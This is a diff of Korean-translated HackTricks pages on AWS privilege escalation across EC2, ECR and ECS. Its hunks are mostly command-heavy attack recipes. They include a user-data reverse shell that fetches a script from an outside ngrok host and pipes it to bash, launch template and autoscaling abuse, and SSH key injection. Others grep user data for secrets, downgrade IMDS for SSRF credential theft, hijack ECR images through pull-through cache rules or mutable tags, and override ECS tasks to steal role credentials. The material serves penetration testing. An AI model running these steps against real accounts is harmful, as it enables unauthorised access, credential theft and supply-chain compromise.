공격자는 **`ec2:ModifyInstanceAttribute`** 권한으로 인스턴스의 속성을 수정할 수 있습니다. 그중 그는 **user data를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이를 통해 **EC2 인스턴스에 대한 rev shell**을 얻을 수 있습니다.
|
||||
**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그중에서 그는 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.**를 실행하도록 만들 수 있음을 의미합니다. 이는 **rev shell to the EC2 instance**를 얻는 데 사용할 수 있습니다.
|
||||
|
||||
속성은 **인스턴스가 중지된 동안에만 수정될 수 있습니다**, 따라서 **권한**으로 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 가 필요합니다.
|
||||
속성은 인스턴스가 중지된 상태에서만 **modified while the instance is stopped**할 수 있으므로, 해당 작업에는 **permissions**인 **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potential Impact:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 대한 직접적인 privesc.
|
||||
**Potential Impact:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 직접적인 privesc.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
해당 권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 을(를) 가진 공격자는 **new Launch Template version**을 생성하여 **rev shell in** the **user data** 및 **any EC2 IAM Role on it**을 포함시키고 기본 버전을 변경할 수 있습니다. 그런 다음 **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
|
||||
권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 을 가진 공격자는 **새 Launch Template 버전**을 생성해 **user data**에 **rev shell**을 넣고 그 템플릿에 **any EC2 IAM Role on it**을 할당할 수 있습니다. 기본 버전을 변경하면, **any Autoscaler group**이 **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version**일 경우 해당 템플릿으로 인스턴스를 **re-run the instances** 하여 rev shell이 실행됩니다.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 role로의 직접 privesc.
|
||||
**Potential Impact:** 다른 EC2 role로의 직접 privesc.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
해당 권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**을 가진 공격자는 **Launch Configuration을 생성**하여 **IAM Role**과 **rev shell**을 **user data**에 포함시키고, 그 설정으로 **autoscaling group을 생성**한 뒤 rev shell이 **IAM Role을 탈취**할 때까지 기다릴 수 있다.
|
||||
권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 를 가진 공격자는 **Launch Configuration을 생성**하여 **IAM Role**과 **rev shell**을 **user data**에 넣고, 그 구성에서 **autoscaling group을 생성**한 뒤 rev shell이 **IAM Role을 탈취**할 때까지 기다릴 수 있습니다.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Potential Impact:** 다른 EC2 role로의 직접적인 privesc.
|
||||
**잠재적 영향:** 다른 EC2 role로의 직접 privesc.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (이는 알려진 privesc입니다).
|
||||
권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`과 `ec2:RunInstances` 권한이 필요합니다** (이는 잘 알려진 privesc입니다).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`** 를 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 ssh 접근 권한이 있다면) 이를 사용해 접근하거나 권한을 상승시킬 수 있습니다.
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`** 을 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 대한 ssh 접근이 가능한 경우) 이를 사용해 접근하거나 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**잠재적 영향:** 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc.
|
||||
**Potential Impact:** 실행 중인 인스턴스에 할당된 EC2 IAM 역할에 대한 직접 privesc.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **ssh key를 serial connection에 추가할 수 있습니다**. serial이 활성화되어 있지 않다면 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
|
||||
권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을(를) 가진 공격자는 **serial 연결에 ssh key를 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 권한 **`ec2:EnableSerialConsoleAccess`**이 필요합니다.
|
||||
|
||||
serial 포트에 연결하려면 또한 머신 내부의 사용자에 대한 **username and password를 알아야 합니다**.
|
||||
serial 포트에 연결하려면 머신 내부의 사용자에 대한 **사용자명과 비밀번호를 알아야 합니다**.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
이 방법은 사용자 이름과 비밀번호를 알아야만 이용할 수 있기 때문에 privesc에는 그다지 유용하지 않습니다.
|
||||
이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에 그다지 유용하지 않습니다.
|
||||
|
||||
**잠재적 영향:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc.
|
||||
**Potential Impact:** (Highly unprovable) 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접적인 privesc.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
launch templates에는 버전 관리가 있기 때문에, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용해 user data에 포함된 자격 증명과 같은 민감한 정보를 찾아낼 수 있습니다. 이를 수행하기 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
|
||||
launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 user data에 존재하는 자격 증명과 같은 민감한 정보를 발견하기 위해 이를 악용할 수 있습니다. 이를 수행하기 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,29 +248,29 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
위의 명령들에서는 특정 패턴(`aws_|password|token|api`)을 지정하고 있지만, 다른 유형의 민감한 정보를 검색하기 위해 다른 정규식(regex)을 사용할 수 있습니다.
|
||||
위 명령들에서는 특정 패턴 (`aws_|password|token|api`)을 지정하고 있지만, 다른 정규식을 사용해 다른 종류의 민감한 정보를 검색할 수 있습니다.
|
||||
|
||||
`aws_access_key_id`와 `aws_secret_access_key`를 찾는다면, 이 자격증명으로 AWS에 인증할 수 있습니다.
|
||||
만약 `aws_access_key_id`와 `aws_secret_access_key`를 찾는다면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
|
||||
|
||||
**Potential Impact:** IAM 사용자(들)로의 직접적인 권한 상승.
|
||||
**Potential Impact:** IAM user(s)에 대한 직접 권한 상승.
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격증명 탈취 가능)
|
||||
|
||||
공격자가 피해 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있다면, `HttpTokens=optional`로 IMDSv1을 활성화하고 `HttpPutResponseHopLimit`을 증가시켜 IMDS 보호를 약화시킬 수 있습니다. 이렇게 하면 인스턴스 메타데이터 엔드포인트가 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 접근 가능해집니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 획득해 이를 이용해 pivot할 수 있습니다.
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격 증명 탈취 활성화)
|
||||
|
||||
- 필요 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (추가로 호스트에서 SSRF에 접근/유발할 수 있는 능력 필요).
|
||||
- 대상 리소스: 인스턴스 프로파일(IAM role)이 연결된 실행 중인 EC2 인스턴스.
|
||||
피해 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 공격자는 IMDS 보호를 약화시켜 IMDSv1을 활성화(`HttpTokens=optional`)하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 인스턴스 메타데이터 엔드포인트에 접근할 수 있게 됩니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로필 자격 증명을 가져와 이를 사용해 권한을 확대할 수 있습니다.
|
||||
|
||||
Commands example:
|
||||
- 필요 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 도달/SSRF를 유발할 수 있는 능력 포함).
|
||||
- 대상 리소스: 인스턴스 프로필 (IAM role)이 연결된 실행 중인 EC2 인스턴스.
|
||||
|
||||
예시 명령:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -297,4 +297,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
잠재적 영향: SSRF를 통해 instance profile credentials가 탈취되어 EC2 역할 권한으로 권한 상승 및 횡적 이동이 발생할 수 있음.
|
||||
잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 role permissions으로 privilege escalation 및 lateral movement가 발생할 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
공격자는 **`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한이 있으면 ECR에 로그인하여 이미지를 다운로드할 수 있습니다.
|
||||
공격자는 **`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한으로 ECR에 로그인하여 이미지를 다운로드할 수 있습니다.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,11 +14,11 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 Indirect privesc를 유발할 수 있습니다.
|
||||
**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 간접적인 privesc를 초래할 수 있습니다.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
해당 권한을 모두 가진 공격자는 **ECR에 로그인하여 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경으로의 escalate privileges에 유용할 수 있습니다.
|
||||
이 모든 권한을 가진 공격자는 **ECR에 로그인하여 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경에서 권한 상승에 이용될 수 있습니다.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -28,18 +28,18 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
이전 섹션과 동일하나 공개 리포지토리용입니다.
|
||||
이전 섹션과 동일하지만 공개 리포지토리에 해당합니다.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **저장소** **정책**을 **변경**하여 자신(또는 모든 사용자)에게 **읽기/쓰기 접근** 권한을 부여할 수 있습니다.\
|
||||
예를 들어, 이 예에서는 모든 사용자에게 읽기 접근이 부여되어 있습니다.
|
||||
이 권한을 가진 공격자는 **리포지토리** **정책**을 변경하여 자신(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.\
|
||||
예를 들어, 아래 예제에서는 모든 사용자에게 읽기 접근이 허용되어 있습니다.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
다음은 `my-policy.json`의 내용:
|
||||
`my-policy.json`의 내용:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -59,8 +59,8 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
이전 섹션과 같지만 공개 리포지토리에 해당합니다.\
|
||||
공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 허용하거나 권한을 상승시킬 수 있습니다.
|
||||
이전 섹션과 같지만 공개 리포지토리용입니다.\
|
||||
공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 승인되지 않은 공개 접근을 허용하거나 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,58 +87,52 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**잠재적 영향**: 승인되지 않은 공개 액세스로 ECR Public repository에 누구나 이미지를 push, pull 또는 delete할 수 있습니다.
|
||||
**잠재적 영향**: ECR Public 리포지토리에 무단 공개 접근이 허용되어 누구나 이미지를 push, pull 또는 삭제할 수 있습니다.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신, 자신의 계정(또는 심지어 모든 사용자)에게 **읽기/쓰기 액세스**를 부여할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신 또는 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 액세스**를 부여할 수 있습니다.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
ECR Pull Through Cache (PTC) 규칙을 악용하여 공격자가 제어하는 upstream 네임스페이스를 신뢰되는 private ECR 접두사에 매핑합니다. 이렇게 하면 private ECR에서 이미지를 pull 하는 워크로드가 private ECR로의 push 없이도 투명하게 공격자 이미지를 받게 됩니다.
|
||||
공격자가 제어하는 upstream 네임스페이스를 신뢰된 private ECR 접두사로 매핑하기 위해 ECR Pull Through Cache (PTC) 규칙을 악용합니다. 이렇게 하면 private ECR에 이미지를 푸시하지 않아도 private ECR에서 이미지를 당겨오는 워크로드가 투명하게 공격자 이미지를 받게 됩니다.
|
||||
|
||||
- 필요 권한: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public upstream을 사용하는 경우: public repo를 생성/푸시하려면 ecr-public:* 필요.
|
||||
- 테스트된 upstream: public.ecr.aws
|
||||
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
|
||||
단계 (예):
|
||||
Steps (example):
|
||||
|
||||
1. ECR Public에 공격자 이미지 준비
|
||||
1. Prepare attacker image in ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. private ECR에서 신뢰되는 접두사를 public registry에 매핑하도록 PTC 규칙 생성
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. 프라이빗 ECR 경로를 통해 공격자 이미지 pull(프라이빗 ECR로의 push 없음)
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
잠재적 영향: 선택한 접두사 아래 내부 이미지 이름을 탈취하여 공급망을 침해할 수 있습니다. 해당 접두사를 사용해 private ECR에서 이미지를 pull하는 모든 워크로드는 공격자가 제어하는 콘텐츠를 받게 됩니다.
|
||||
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
이 권한을 악용해 태그 불변성이 설정된 리포지토리를 가변으로 바꿔서 신뢰된 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
|
||||
이 권한을 악용하여 tag immutability가 설정된 리포지토리를 mutable로 전환하고 trusted 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
|
||||
|
||||
- 필요 권한: `ecr:PutImageTagMutability` 및 푸시 권한(`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- 영향: 태그 이름을 바꾸지 않고 불변 태그를 은밀히 교체하여 공급망을 침해할 수 있습니다.
|
||||
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
|
||||
|
||||
단계 (예):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>가변성 전환으로 불변 태그를 오염시키기</summary>
|
||||
<summary>mutability를 토글하여 immutable 태그를 오염시키기</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -158,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
#### 글로벌 레지스트리 hijack via ROOT Pull-Through Cache rule
|
||||
|
||||
특수한 `ecrRepositoryPrefix=ROOT`을 사용하여 Pull-Through Cache (PTC) 규칙을 생성하면 private ECR 레지스트리의 루트를 upstream public 레지스트리(예: ECR Public)에 매핑할 수 있습니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 upstream에서 투명하게 제공되며, private ECR에 이미지를 push하지 않고도 supply-chain hijacking을 가능하게 합니다.
|
||||
특수한 `ecrRepositoryPrefix=ROOT`를 사용해 Pull-Through Cache (PTC) 규칙을 생성하여 private ECR 레지스트리의 루트를 upstream public registry(예: ECR Public)에 매핑합니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 투명하게 upstream에서 제공되며, private ECR에 이미지를 push하지 않고도 supply-chain hijacking을 가능하게 합니다.
|
||||
|
||||
- 필요 권한: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- 영향: `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>`로의 pull이 성공하고 upstream에서 소스된 private 리포지토리가 자동으로 생성됩니다.
|
||||
- 영향: `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>`로의 pull이 성공하며 upstream에서 소싱된 private 리포지토리가 자동 생성됩니다.
|
||||
|
||||
> 참고: `ROOT` 규칙의 경우 `--upstream-repository-prefix`를 생략하세요. 제공하면 검증 오류가 발생합니다.
|
||||
> 참고: `ROOT` 규칙의 경우 `--upstream-repository-prefix`를 생략하세요. 이를 제공하면 validation error가 발생합니다.
|
||||
|
||||
<details>
|
||||
<summary>데모 (us-east-1, upstream public.ecr.aws)</summary>
|
||||
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`를 다운그레이드하여 registry policy Deny 우회)
|
||||
### `ecr:PutAccountSetting` (레지스트리 정책의 Deny를 우회하기 위해 `REGISTRY_POLICY_SCOPE`를 다운그레이드)
|
||||
|
||||
`ecr:PutAccountSetting`를 사용해 registry policy scope를 `V2`(모든 ECR 작업에 적용되는 정책)에서 `V1`(오직 `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)로 전환할 수 있습니다. 제한적인 registry policy Deny가 `CreatePullThroughCacheRule` 같은 작업을 차단하는 경우, scope를 `V1`로 다운그레이드하면 해당 제약이 해제되어 identity-policy의 Allows가 적용됩니다.
|
||||
`ecr:PutAccountSetting`을(를) 악용하여 레지스트리 정책 스코프를 `V2`(모든 ECR 액션에 적용되는 정책)에서 `V1`(`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)으로 전환합니다. 제한적인 레지스트리 정책의 Deny가 `CreatePullThroughCacheRule` 같은 액션을 차단하는 경우, `V1`로 다운그레이드하면 해당 강제 적용이 제거되어 identity‑policy의 Allows가 적용됩니다.
|
||||
|
||||
- 필요 권한: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- 영향: registry policy Deny로 이전에 차단되었던 ECR 작업(예: PTC 규칙 생성)을 일시적으로 scope를 `V1`로 설정해 수행할 수 있음.
|
||||
- 영향: 레지스트리 정책의 Deny로 이전에 차단되었던 ECR 작업(예: PTC rules)을 스코프를 일시적으로 `V1`로 설정해 수행할 수 있음.
|
||||
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
|
||||
<summary>CreatePullThroughCacheRule에 대한 레지스트리 정책 Deny를 `V1`로 전환하여 우회</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +260,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
ECS에 대한 **자세한 정보는** 다음을 참조하세요:
|
||||
ECS에 대한 **추가 정보**는 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ ECS에 대한 **자세한 정보는** 다음을 참조하세요:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새로운 task definition**을 생성하고 이를 **실행**할 수 있습니다.
|
||||
ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 이를 **실행**할 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 다른 ECS 역할로의 직접적인 privesc.
|
||||
**Potential Impact:** 다른 ECS role로의 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
`iam:PassRole` 및 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값을 사용하여 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 포함하며, 이를 통해 task definition을 변경하지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다.
|
||||
`iam:PassRole` 및 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값을 사용하여 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령에는 `--overrides` 플래그가 있어 task definition을 건드리지 않고도 실행 시점에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다.
|
||||
|
||||
지정된 IAM 역할인 `taskRoleArn` 및 `executionRoleArn`은 신뢰 정책에서 `ecs-tasks.amazonaws.com`이 해당 역할을 맡을 수 있도록 신뢰/허용되어야 합니다.
|
||||
지정된 IAM 역할(`taskRoleArn` 및 `executionRoleArn`)은 신뢰 정책에서 `ecs-tasks.amazonaws.com`이 해당 역할을 assume할 수 있도록 설정되어 있어야 합니다.
|
||||
|
||||
또한 공격자는 다음을 알아야 합니다:
|
||||
- ECS 클러스터 이름
|
||||
또한, 공격자는 다음을 알아야 합니다:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (보안 그룹이 지정되지 않으면 기본 보안 그룹이 사용됩니다)
|
||||
- Task Definition 이름과 리비전
|
||||
- 컨테이너 이름
|
||||
- Security group (security group이 명시되지 않으면 기본 security group이 사용됩니다)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
